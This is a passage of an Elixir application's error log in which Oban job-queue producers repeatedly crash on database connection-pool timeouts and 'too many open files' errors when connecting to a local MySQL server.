    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:11:13.243024Z], limit: 20, uuid: "11a217f5-29ff-43cf-ade9-2767987f8a3b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:11:13.243029Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.25766>, refresh_timer: #Reference<0.2525715032.1077673987.25751>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:11:25.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1079ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:11:13.239187Z], limit: 10, uuid: "7f768c5a-67f5-4612-9d8a-a18ebd12adca", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:11:13.239193Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.50215>, refresh_timer: #Reference<0.2525715032.1099431938.50171>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:11:25.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1092ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:11:13.239656Z], limit: 50, uuid: "c7b26efd-bd56-434a-9b20-e17f146e8b82", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:11:13.239661Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.50217>, refresh_timer: #Reference<0.2525715032.1099431938.50187>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:11:26.658000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:11:26.939000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:11:29.256000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:11:33.068000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:11:33.717000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:11:37.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1017ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:11:25.240962Z], limit: 5, uuid: "9faebc37-bdcd-4036-ad56-d0fb4de92de1", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:11:25.240969Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.163802>, refresh_timer: #Reference<0.2525715032.1077673987.25906>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:11:37.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1063ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:11:25.240223Z], limit: 20, uuid: "607bf160-516b-4253-ac06-e9a2c1361ec5", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:11:25.240228Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.163798>, refresh_timer: #Reference<0.2525715032.1099431938.50400>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:11:37.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 803ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:11:25.239173Z], limit: 3, uuid: "4602c5e1-ffb2-41cc-9467-f26a7441c851", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:11:25.239180Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.163801>, refresh_timer: #Reference<0.2525715032.1099431938.50393>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:11:37.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1038ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:11:25.240032Z], limit: 5, uuid: "1bc74b5c-3cfd-41ec-a848-f2899772b71f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:11:25.240037Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.163800>, refresh_timer: #Reference<0.2525715032.1099431938.50390>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:11:37.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 899ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:11:25.239884Z], limit: 10, uuid: "6665cde1-6754-4a65-b11d-f68b7f5a9717", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:11:25.239890Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.163799>, refresh_timer: #Reference<0.2525715032.1099431938.50388>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:11:37.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1015ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:11:25.240895Z], limit: 50, uuid: "ed1954df-95d8-4438-92ce-fd22da7f731e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:11:25.240901Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.50402>, refresh_timer: #Reference<0.2525715032.1077673987.25903>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:11:37.394000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:11:37.526000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:11:38.705000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:11:40.159000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:11:43.388000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:11:46.972000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
